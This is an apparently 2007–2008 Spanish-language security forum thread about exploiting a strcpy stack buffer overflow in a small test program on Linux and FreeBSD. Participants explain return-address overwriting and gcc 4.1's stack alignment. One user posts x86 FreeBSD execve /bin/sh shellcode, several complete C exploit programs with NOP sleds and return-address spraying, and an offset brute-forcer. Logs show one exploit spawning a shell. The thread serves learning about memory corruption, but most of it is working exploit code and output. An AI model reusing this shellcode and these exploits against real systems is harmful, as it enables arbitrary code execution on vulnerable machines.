Hola, el caso es que estoy intentando crear un exploit para el tipico programa vulnerable en linux pero no consigo sobrescribir el EIP... aver si me pueden ayudar:
El codigo vulnerable es:
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buff[12];
strcpy(buff,argv[1]);
printf("\nHas escrito: %s\n",buff);
return 0;
}
Compilo y pruebo:
zhynar@zhynar:~/Desktop$ gcc bug2.c -o bug2 -ggdb
zhynar@zhynar:~/Desktop$ ./bug2 hola <------- Compruevo que funciona
Has escrito: hola
zhynar@zhynar:~/Desktop$ ./bug2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <-------- Mas de 12 'A's
Has escrito: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Violación de segmento <---------- Se produce el desbordamiento
zhynar@zhynar:~/Desktop$
Ahora lo abro con el gdb:
zhynar@zhynar:~/Desktop$ gdb bug2
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <---- Muchas 'A's...
Starting program: /home/zhynar/Desktop/bug2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Failed to read a valid object file image from memory.
Has escrito: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault. <------ Se produce el desbordamiento
0x080483dc in main (argc=Cannot access memory at address 0x41414141
) at bug2.c:12
12 }
(gdb) info registers
eax 0x0 0
ecx 0x41414141 1094795585
edx 0xb7fbe448 -1208228792
ebx 0xb7fbcff4 -1208233996
esp 0x4141413d 0x4141413d <---- Sobrescrito
ebp 0x41414141 0x41414141 <---- Sobrescriito
esi 0x0 0
edi 0xb7fe6cc0 -1208062784
eip 0x80483dc 0x80483dc <main+72> <----- Pero no consigo sobrescribir el EIP
eflags 0x210282 [ SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
Aver si me pueden ayudar... :) :)
Saludos ;) ;)
EIP guarda la instruccion en la que se encuentra.
si no puede leer la memoria en 0x41414141 entonces EIP nunca llega a tener ese valor.
busca smashing the stack for fun and profit.. es como que lo basico de BoF, y es para linux :P, lo que "reescribes" es el valor de retorno, no EIP, EIP toma el valor de la direccion de retorno, se que parece que es lo mismo pero no.. EIP no puede ser "sobreescrito", siempre tiene valores validos.
blah, en otras palabras.. coloca la direccion de retorno que quieres en la posicion especificada que debe ser.. mm desde el char 16, creo..
Saludos!!
Que lio que me estoy haciendo... xDxD En windows no tarde na en hacer el **** exploit.... xD
A ver a partir de la 'A' 16 si pongo un offset deberia ir a esa parte de la memoria, asi que tengo que ponerle un offset a la shellcode pero... En que parte de la pila meto la shellcode y despues como saco el offset a la shellcode??
En windows se que ponia la shellcode en la direccion de ESP y despues hacia un "jmp esp" pero por .lo que veo en linux es diferente... xD
Saludos ;) ;)
esque en linux la dirección de la pila es constante, o era.. depende del kernel..
lee el documento que te digo xD es de aleph1.
Saludos!!
Bueno ya he leido bastante y ya me he enterado de lo que tengo que hacer xD
Pero ahora hay una cosa que no se... Meto la shellcode en el buffer y tengo que sobrescribir el RET con la direccion de la shellcode, osea la direccion de buffer y para ello tengo que poner su direccion en la posicion de la cadena que sobrescribe el RET, pero como pongo su direccion de forma que la pila la interprte? Es decir... como meto un offset en un string??
Saludos
Bien zhynar_X, creo que si estas estudiado ;D, y eso es bueno.
Bien vi tu codigo y es de los clasicos BOF, sin embargo el buffer que estas dejando en muy pequeño para propositos educativos y de aprendizaje, yo recomiendo buffer mas grande, ya que veas como funciona en un buffer grande, vas a ver la forma de hacerlo en buffer pequeños, sin embargo yo estoy casi seguro que con 12-16 bytes nadie va a poder meter un shellcode completo ahi :xD.
Bien una direccion aproximada de la pila donde se esta almacenado tu variable la puedes conseguir con la siguente funcion
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
Sin embargo vas a tener que restar algunas decenas o centerares de bytes.
Ahora bueno para buffer pequeños, uso algo que le aprendi a rojodos ;D
%gdb ./codigo
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Has escrito: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Program received signal SIGSEGV, Segmentation fault.
0x48484848 in ?? ()
(gdb) printf "%c\n", 0x48
H
Vemos que en mi sistema trata de saltar a las H's lo cual nos deja un buffer de 7x4 un total de 28 bytes para poder ejecutar un shell. huy en FreeBSD, he visto un shell de 25 bytes, creo que si se puede ejecutar ;D, lo tengo que poder hacer, solo que atinarle al valor exacto que se tiene que meter al ret va a estar muy dificil de calcular.
Este solo es para FreeBSD
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";
Por eso comento que para practica personal, es necesario un buffer un poco mas grande.
El problema que tienes es porque estás intentando explotar main. Desde hace relativamente poco, el gcc hace una cosa un poco rara al principio y al final de main, que es para alinear la pila. Mas o menos y resumiendo lo que hace es salvar y restaurar la pila, en la pila XD. Es decir, antes de la dirección de retorno en la pila está esp guardado.
Antes del ret de main, hace (más o menos):
pop %ebp
pop %esp
ret
Si te cargas el %esp guardado en la pila, el ret no funcionara. Por eso obtienes un esp y un ebp sobreescrito con 0x41. Todo esto puedes verlo si haces un disass de main. En resumen, la funcion main hay que explotarla de otra forma, concretamente sobreescribiendo el esp guardado en la pila, en vez de sobreescribir eip.
Un saludo.
Cita de: Anon en 14 Enero 2008, 02:16 AM
%gdb ./codigo
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Has escrito: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Program received signal SIGSEGV, Segmentation fault.
0x48484848 in ?? ()
(gdb) printf "%c\n", 0x48
H
Vemos que en mi sistema trata de saltar a las H's lo cual nos deja un buffer de 7x4 un total de 28 bytes para poder ejecutar un shell. huy en FreeBSD, he visto un shell de 25 bytes, creo que si se puede ejecutar ;D, lo tengo que poder hacer, solo que atinarle al valor exacto que se tiene que meter al ret va a estar muy dificil de calcular.
En FreeBSD no sé si hace lo de salvar el esp o no, pero seguro que intenta saltar a 0x48484848?, no será que hace un ret con esp = 0x48484848 o algo parecido?. Para salir de dudas:
x/1i $eip
En el momento que da el sigsegv. Un saludo.
PD: Segun he visto un main de tu otro post (como usar el gdb), tiene toda la pinta de que en FreeBSD (al menos en el tuyo) no hace lo de salvar esp en la pila, sino que usa el leave de toda la vida (ebp). Usease que en tu caso si que debe de intentar saltar realmente a 0x48484848, y la explotación en más sencilla.
Cita de: RaiSe en 14 Enero 2008, 02:31 AM
En FreeBSD no sé si hace lo de salvar el esp o no, pero seguro que intenta saltar a 0x48484848?, no será que hace un ret con esp = 0x48484848 o algo parecido?. Para salir de dudas:
x/1i $eip
En el momento que da el sigsegv. Un saludo.
Mira, estoy seguro que hace algo, sin embargo todavia no estoy completamente seguro de que hace, despues del prolog, ejecuta cosas que ni al caso pero bueno, preguntemosle esto a los que hacen gcc ;D
(gdb) disas main
Dump of assembler code for function main:
0x080481b4 <main+0>: push %ebp
0x080481b5 <main+1>: mov %esp,%ebp
0x080481b7 <main+3>: sub $0x18,%esp
0x080481ba <main+6>: and $0xfffffff0,%esp
0x080481bd <main+9>: mov $0x0,%eax
0x080481c2 <main+14>: add $0xf,%eax
0x080481c5 <main+17>: add $0xf,%eax
0x080481c8 <main+20>: shr $0x4,%eax
0x080481cb <main+23>: shl $0x4,%eax
0x080481ce <main+26>: sub %eax,%esp
0x080481d0 <main+28>: sub $0x8,%esp
0x080481d3 <main+31>: mov 0xc(%ebp),%eax
0x080481d6 <main+34>: add $0x4,%eax
0x080481d9 <main+37>: pushl (%eax)
0x080481db <main+39>: lea 0xffffffe8(%ebp),%eax
0x080481de <main+42>: push %eax
0x080481df <main+43>: call 0x804973c <strcpy>
0x080481e4 <main+48>: add $0x10,%esp
0x080481e7 <main+51>: sub $0x8,%esp
0x080481ea <main+54>: lea 0xffffffe8(%ebp),%eax
0x080481ed <main+57>: push %eax
0x080481ee <main+58>: push $0x805b46a
0x080481f3 <main+63>: call 0x8049708 <printf>
0x080481f8 <main+68>: add $0x10,%esp
0x080481fb <main+71>: mov $0x0,%eax
0x08048200 <main+76>: leave
0x08048201 <main+77>: ret
End of assembler dump.
Si lo sobre escribe el eip
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Has escrito: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Program received signal SIGSEGV, Segmentation fault.
0x48484848 in ?? ()
(gdb) x/1 $eip
0x48484848: Error accessing memory address 0x48484848: Bad address.
y tambien el ebp, pero ese no hay mucho que decir... mirar:
(gdb) info register
eax 0x0 0
ecx 0x0 0
edx 0x35 53
ebx 0x2 2
esp 0xbfbfe910 0xbfbfe910
ebp 0x47474747 0x47474747
esi 0xbfbfe960 -1077941920
edi 0x0 0
eip 0x48484848 0x48484848
eflags 0x10282 66178
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x1b 27
(gdb)
Ok salimos de Dudas... ;D
Joer, me voy a volver loco de tanto editar mis posts jeje. Si, en tu caso usa %ebp para restaurar %esp y retornar, osea que no hay el problema que si existe en linux. Un saludo.
PD: Que version de gcc usas?.
viene predeterminada con el sistema ;D, es la 3.4.6, mirar:
%gcc -v
Using built-in specs.
Configured with: FreeBSD/i386 system compiler
Thread model: posix
gcc version 3.4.6 [FreeBSD] 20060305
:huh: No sabia que ahora linux tubiese ese problema... a partir de que version de ; kernel salio eso, alquien tiene el link. ?
tendre que modificar mis exploits para linux, si se trata de un BOF dentro de main :rolleyes:
Hey zhynar_X, que kernel de Linux usa tu Debian ? y cual es la version de gcc ? para poder verificar todas las dudas aqui susitadas. ;D
Mi gcc es el 4.1 . La verdad es que tiene más pinta de ser del gcc, que de Linux especificamente. Sería interesante probar un gcc más actual en Freebsd y mirar si hace lo mismo o no. Un saludo.
Bien, ahora tengo 2 o mas problemas entre mano, la verdad me obseciona demasiado este tema.
trate de explotar el codigo mostrado por zhynar_X, sin embargo no he tenido mucho exito :xD
Cita de: zhynar_X en 26 Diciembre 2007, 16:42 PM
El codigo vulnerable es:
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buff[12];
strcpy(buff,argv[1]);
printf("\nHas escrito: %s\n",buff);
return 0;
}
BIen creo que con lo que mostrare a continuacion resolvere una dudas sobre como meter una dirccion en el ret, atravez de la cadena de ingreso. al programa vulnerable.
Cita de: zhynar_X en 2 Enero 2008, 23:23 PM
Es decir... como meto un offset en un string??
Saludos
Bien eso se hace de muchas maneras puedes crear un archivo con el buffer y despues hacer un cat
% ./codigo `cat evilbuffer.txt`
Puedes usar perl, un exploit, shell scritp, pyton, variables de Entorno etc, lo que mejor se te de, pero si sabes programar en C, recomiendo encarecidamente C.
Hice un exploit para tu codigo y no funciona. :rolleyes: ya me trae como loco, he aqui el exploit
eexploit.c
#include<stdio.h>
#define NOP 0x90
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[]) {
FILE *archivo;
char *vuln[3] = {"/usr/home/luis/codigo",NULL,NULL};
char *buffer;
long nop_addr;
int offset = 0;
int size = 40;
int i;
if (argc!=2) {
printf("Crea un archivo con el EGG\n");
printf("Uso: %s <desplazamiento>\n", argv[0]);
return 0;
}
offset = atoi(argv[1]);
buffer = calloc(size,sizeof(char));
nop_addr = get_esp() - offset;
for (i = 0; i < (size/4); i++)
*((long*)buffer + i) = nop_addr;
for (i = 0; i < size/2; i++)
buffer[i] = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(buffer + 3 +i ) = shellcode[i];
buffer[size - 1] = '\0';
vuln[1] = buffer;
printf("Direcion Ret: 0x%x\n",nop_addr);
execv(vuln[0],vuln);
return 0;
}
Bien estoy seguro que el codigo vulnerable que compile con el gcc 3.4.6 en cual si le mandamos de AAAABBBBCCCC.... se atora en la H
Cita de: Anon en 14 Enero 2008, 02:16 AM
%gdb ./codigo
GNU gdb 6.1.1 [FreeBSD]
.............
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Has escrito: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Program received signal SIGSEGV, Segmentation fault.
0x48484848 in ?? ()
(gdb) printf "%c\n", 0x48
H
de la A a la G hay 28 espacios disponibles lo que hace el exploit que cree, es pide un offset, para jugar con el desplazamiento... ya saben lo clasico de Aleph One
Con este espacio tan reducido todo tiene que estar mas que calculado. y el buffer que se manda a la aplicacion vulnerable, es en si lo siguente
3 NOP's
25 bytes de Shellcode
3 veces la direccion de retorno (4 bytes de cada una) para un total del buffer de 40 bytes, aunque solo sea nesesaria la Primera como vimos.
Despues ejecute el exploit manualmente y me enfade :P
%./eexploit 20
Direcion Ret: 0xbfbfe8d4
Has escrito: ���1�Ph//shh/bin��PSPTS�;P�迿�迿���
Segmentation fault
%./eexploit 30
Direcion Ret: 0xbfbfe8ca
Has escrito: ���1�Ph//shh/bin��PSPTS�;P�迿�迿���
Segmentation fault
%./eexploit 120
Direcion Ret: 0xbfbfe870
Has escrito: ���1�Ph//shh/bin��PSPTS�;Pp迿p迿p��
Segmentation fault
%./eexploit 200
Direcion Ret: 0xbfbfe820
Has escrito: ���1�Ph//shh/bin��PSPTS�;P 迿 迿 ��
Segmentation fault
asi que genere otro archivo en c para poder ejecutar el exploit con todas las direcciones posibles
xploitforcebrute.c
#include<stdio.h>
int main(void) {
int i = 0;
char *explo = "/usr/home/luis/eexploit";
char *buffer= (char*) calloc(40,sizeof(char));
while(i<1000) {
printf("Usando: %d\n",i);
sprintf(buffer,"%s %d",explo,i);
system(buffer);
i++;
}
}
Y nada >:(, se tiene que poder pero no se si algo este mal, si alguien nota algo por favor que lo mensione aqui, por eso repito que lo buffers peque;os estan dificiles de explotar, pero si cabe el shellcode, y la direccion de retorno, estoy con que se debe de poder.
Cita de: RaiSe en 14 Enero 2008, 03:21 AM
Mi gcc es el 4.1 . La verdad es que tiene más pinta de ser del gcc, que de Linux especificamente. Sería interesante probar un gcc más actual en Freebsd y mirar si hace lo mismo o no. Un saludo.
Si efectivamente es la version de gcc
%gcc41 codigo.c -o codigo -ggdb -static
%gdb codigo
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
(gdb) disas main
Dump of assembler code for function main:
0x080481b0 <main+0>: lea 0x4(%esp),%ecx
0x080481b4 <main+4>: and $0xfffffff0,%esp
0x080481b7 <main+7>: pushl 0xfffffffc(%ecx)
0x080481ba <main+10>: push %ebp
0x080481bb <main+11>: mov %esp,%ebp
0x080481bd <main+13>: push %ecx
0x080481be <main+14>: sub $0x14,%esp
0x080481c1 <main+17>: mov 0x4(%ecx),%eax
0x080481c4 <main+20>: add $0x4,%eax
0x080481c7 <main+23>: mov (%eax),%eax
0x080481c9 <main+25>: sub $0x8,%esp
0x080481cc <main+28>: push %eax
0x080481cd <main+29>: lea 0xfffffff0(%ebp),%eax
0x080481d0 <main+32>: push %eax
0x080481d1 <main+33>: call 0x8049734 <strcpy>
0x080481d6 <main+38>: add $0x10,%esp
0x080481d9 <main+41>: sub $0x8,%esp
0x080481dc <main+44>: lea 0xfffffff0(%ebp),%eax
0x080481df <main+47>: push %eax
0x080481e0 <main+48>: push $0x805b46a
0x080481e5 <main+53>: call 0x8049700 <printf>
0x080481ea <main+58>: add $0x10,%esp
0x080481ed <main+61>: mov $0x0,%eax
0x080481f2 <main+66>: mov 0xfffffffc(%ebp),%ecx
0x080481f5 <main+69>: leave
0x080481f6 <main+70>: lea 0xfffffffc(%ecx),%esp
0x080481f9 <main+73>: ret
End of assembler dump.
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3
4
5 int main(int argc, char **argv) {
6
7
8 char buff[12];
9 strcpy(buff,argv[1]);
10 printf("\nHas escrito: %s\n",buff);
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD
Has escrito: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD
Program received signal SIGSEGV, Segmentation fault.
0x080481f9 in main (argc=Error accessing memory address 0x44444444: Bad address.
) at codigo.c:15
15 }
(gdb) info register
eax 0x0 0
ecx 0x44444444 1145324612
edx 0x3e 62
ebx 0x2 2
esp 0x44444440 0x44444440
ebp 0x45454545 0x45454545
esi 0xbfbfe958 -1077941928
edi 0x0 0
eip 0x80481f9 0x80481f9
eflags 0x10282 66178
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x1b 27
(gdb) printf "%c\n", 0x44
D
Bien ahora se atora en la D, dejo exactamente los 12 bytes de Buffer :o, que optimizacion tan cabrona, lo voy a analizar detenidamente para ver que hace exactamente. y poder dar con la forma de explotarlo, pero eso si va a ser imposible que se meta una shellcode en esos 12 bytes... :huh:
Almenos que :rolleyes: huy no lo habia visto es una idea bien loca a lo mejor a alguien ya se le ocurrio, pero bueno se me acaba de ocurrir ahorita que es posible sobre escribir todo los datos y mandar el shell code hasta el final ejemplo del buffer:
AAAAAAAAAAAA + RET'ssss + NOP'ssssssss + shellcode.
esto en Lugar del clasico
NOP'ssssssss + Shellcode + RET'sssss
Lo probare ahora mismo.
AHUEVO que funciona.... por lo menos yo no lo havia visto asi :o
Este exploit funciona para el buffers pequeños, y funciono a la primera para el codigo de zhynar_X
eexploit2.c
#include<stdio.h>
#define NOP 0x90
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[]) {
FILE *archivo;
char *vuln[3] = {"/usr/home/luis/codigo",NULL,NULL};
char *buffer;
long nop_addr;
int offset = 0;
int size;
int bof;
int i;
if (argc!=4) {
printf("Crea \n");
printf("Uso: %s <size_BOF_buffer> <size_evil_buffer> <desplazamiento>\n", argv[0]);
return 0;
}
offset = atoi(argv[3]);
bof = atoi(argv[1]);
size = atoi(argv[2]);
buffer = calloc(size,sizeof(char));
nop_addr = get_esp() - offset;
for (i = 0; i < (bof/4); i++)
*((long*)buffer + i) = nop_addr;
for (i = 0; i < size - bof; i++)
buffer[bof + i] = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(buffer + size/2 + i ) = shellcode[i];
buffer[size - 1] = '\0';
vuln[1] = buffer;
printf("Direcion Ret: 0x%x\n",nop_addr);
execv(vuln[0],vuln);
return 0;
}
%gcc -o eexploit2 eexploit2.c
%./eexploit
Crea un archivo con el EGG
Uso: ./eexploit <desplazamiento>
%./eexploit2
Crea
Uso: ./eexploit2 <size_BOF_buffer> <size_evil_buffer> <desplazamiento>
%./eexploit2 40 300 200
Direcion Ret: 0xbfbfe810
Has escrito: 迿迿迿迿迿迿迿迿迿迿��������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P����������������������������������������������������������������������������������������������������������������������������
$ exit
%
;D ;D :rolleyes: :rolleyes: ;D :o ;D :rolleyes: :rolleyes: :o ;D ::) ::) ::) :xD
El buffer quedaria asi:
RET'ssss + NOP'ssssssss + shellcode. + NOP'sssss
la version del codigo vulnerable que explote, fue compilada con gcc 3.4.6
Ahora solo resta explotar el codigo compilado con el gcc 4.1
Cita de: Anon en 14 Enero 2008, 07:22 AM
Si efectivamente es la version de gcc
%gcc41 codigo.c -o codigo -ggdb -static
%gdb codigo
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
(gdb) disas main
Dump of assembler code for function main:
0x080481b0 <main+0>: lea 0x4(%esp),%ecx
0x080481b4 <main+4>: and $0xfffffff0,%esp
0x080481b7 <main+7>: pushl 0xfffffffc(%ecx)
***************************
***************************
0x080481f2 <main+66>: mov 0xfffffffc(%ebp),%ecx
0x080481f5 <main+69>: leave
0x080481f6 <main+70>: lea 0xfffffffc(%ecx),%esp
0x080481f9 <main+73>: ret
End of assembler dump.
El problema es que salva esp en la pila (a traves de ecx), y lo restaura antes de hacer el ret. La forma de explotarlo seria sobreescribir ese valor con una direccion en la que controlemos el contenido. Ejemplo:
- Sobreescribimos esp guardado por 0xdededede (es un caso ficticio).
- 0xdededede es una direccion en la que controlamos su contenido, el cual es: 0xabababab
- En 0xabababab tambien controlamos su contenido, el cual es: la shellcode
Al sobreescribir el esp guardado, antes del ret: %esp = 0xdededede. Hace el ret y salta a 0xabababab, la cual es la direccion de la shellcode.
Cambiando de tema, en ese ejemplo no importa que el buffer sea pequeño. Puedes meter la shellcode en argv[2] por ejemplo, sin limite de tamaño.
Un saludo.
Bien, despues de varios intentos he logrado explotar el Bof de zhynar_X, esta vez fue al 4to Intento
%gcc -o eexploit_gcc41 eexploit_gcc41.c -ggdb -static
%./eexploit_gcc41 40 300 200
Direcion Ret: 0xbfbfe800
Direcion Nop: 0xbfbfe7ce
Has escrito:
%./eexploit_gcc41 40 300 180
Direcion Ret: 0xbfbfe814
Direcion Nop: 0xbfbfe7e2
Has escrito: 迿迿迿迿迿迿迿迿迿迿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
Segmentation fault
%./eexploit_gcc41 40 300 160
Direcion Ret: 0xbfbfe828
Direcion Nop: 0xbfbfe7f6
Has escrito: (迿(迿(迿(迿(迿(迿(迿(迿(迿(迿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿� 翿�翿�翿�翿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
Segmentation fault
%./eexploit_gcc41 40 300 140
Direcion Ret: 0xbfbfe83c
Direcion Nop: 0xbfbfe80a
Has escrito: <迿<迿<迿<迿<迿<迿<迿<迿<迿<迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
$
Fue tal vez exesivo pero ya que ;D al fin se pudo. He aqui el xploit.
#include<stdio.h>
#define NOP 0x90
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[]) {
FILE *archivo;
char *vuln[3] = {"/usr/home/luis/codigo",NULL,NULL};
char *buffer;
unsigned long nop_addr;
unsigned long ret_addr;
int offset = 0;
int size,bof,i,len;
if (argc!=4) {
printf("Crea \n");
printf("Uso: %s <size_BOF_buffer> <size_evil_buffer> <desplazamiento>\n", argv[0]);
return 0;
}
offset = atoi(argv[3]);
bof = atoi(argv[1]);
size = atoi(argv[2]);
buffer = calloc(size,sizeof(char));
ret_addr = get_esp() - offset;
nop_addr = ret_addr - 50;
for (i = 0; i < (bof/4); i++)
*((long*)buffer + i) = ret_addr;
long temp = (long)buffer + bof;
for (i = 0; i < ((size-bof)/4); i++)
*((long*)temp + i) = nop_addr;
for (i = 0; i < size - bof; i++)
buffer[bof + 60 + i] = NOP;
len = strlen(shellcode);
for (i = 0; i < len + 1; i++)
*(buffer + size - len - 1 + i ) = shellcode[i];
buffer[size - 1] = '\0';
vuln[1] = buffer;
printf("Direcion Ret: 0x%x\n",ret_addr);
printf("Direcion Nop: 0x%x\n",nop_addr);
//printf("Cadena:\n%s\n",buffer);
execv(vuln[0],vuln);
return 0;
}
Cualquier duda con cuaquiel cosa seguir el hilo.
Algo que note, y la verdad no se si sea la version de mi gcc es que no le caben los 12 bytes reservados mirar
%./codigo AAAA
Has escrito: AAAA
%./codigo AAAABBBB
Has escrito: AAAABBBB
%./codigo AAAABBBBCCC
Has escrito: AAAABBBBCCC
%./codigo AAAABBBBCCCC
Has escrito: AAAABBBBCCCC
Segmentation fault
A ver si alguien nos puede hechar lamano con esto, de todos modos yo lo vere con mas calma.
Cita de: Anon en 18 Enero 2008, 03:28 AM
Algo que note, y la verdad no se si sea la version de mi gcc es que no le caben los 12 bytes reservados mirar
%./codigo AAAA
Has escrito: AAAA
%./codigo AAAABBBB
Has escrito: AAAABBBB
%./codigo AAAABBBBCCC
Has escrito: AAAABBBBCCC
%./codigo AAAABBBBCCCC
Has escrito: AAAABBBBCCCC
Segmentation fault
A ver si alguien nos puede hechar lamano con esto, de todos modos yo lo vere con mas calma.
Si le entran, en el último estás metiendo 13 bytes, porque strcpy añade un null (0x00) al final, y por eso da segmentation fault. Eso que es con el gcc 4 o el 3?.
PD: El exploit que es para el vulnerable compilado con gcc 4 o el 3?
Un saludo.
Cita de: RaiSe en 18 Enero 2008, 14:36 PM
Si le entran, en el último estás metiendo 13 bytes, porque strcpy añade un null (0x00) al final, y por eso da segmentation fault. Eso que es con el gcc 4 o el 3?.
;D Gracias por confirmarmelo
RaiSe definitivamente me la pase pensando en eso parte de la Tarde de ayer, y cai en la cuenta de que efectivamente el byte NULL (0x00), Ocupa el lugar numero 13 lo cual sobre escribre sobre los datos continuos de la Pila.
Si el binario antes mostrado que se corrompe con el byte numero 13 esta compilado con gcc 4.1.3
Cita de: RaiSe en 18 Enero 2008, 14:36 PM
PD: El exploit que es para el vulnerable compilado con gcc 4 o el 3?
El ultimo exploit mostrado anteriormente esta hecho para aplicaciones con BoF compiladas con gcc 4.1.3 funciona en mi FreeBSD no se si funcion en Linux no tengo en este momento una distro instalada para comprobarlo, y todos los CD-Live que tengo manejan gcc 3.
Cita de: Anon en 15 Enero 2008, 16:37 PM
Bien, despues de varios intentos he logrado explotar el Bof de zhynar_X, esta vez fue al 4to Intento
%./eexploit_gcc41 40 300 200
Direcion Ret: 0xbfbfe800
Direcion Nop: 0xbfbfe7ce
Has escrito:
%./eexploit_gcc41 40 300 180
Direcion Ret: 0xbfbfe814
Direcion Nop: 0xbfbfe7e2
Has escrito: 迿迿迿迿迿迿迿迿迿迿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
Segmentation fault
%./eexploit_gcc41 40 300 160
Direcion Ret: 0xbfbfe828
Direcion Nop: 0xbfbfe7f6
Has escrito: (迿(迿(迿(迿(迿(迿(迿(迿(迿(迿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿� 翿�翿�翿�翿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
Segmentation fault
%./eexploit_gcc41 40 300 140
Direcion Ret: 0xbfbfe83c
Direcion Nop: 0xbfbfe80a
Has escrito: <迿<迿<迿<迿<迿<迿<迿<迿<迿<迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
$
El primer intento con el exploit para los BoF compilados con gcc 4.1.3 que mostre, funciona perfectamente tambien en mi sistema pero esto estando en Modo terminal, sin modo grafico.
La funcionalidad del exploit cambia ya que la funcion:
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
abquiere un valor de la pila actual en un momento determinado del sistema, y este valor cambia dependiendo de la cantidad de programas que esten en ejecucion en ese momento.
Buenas noches,
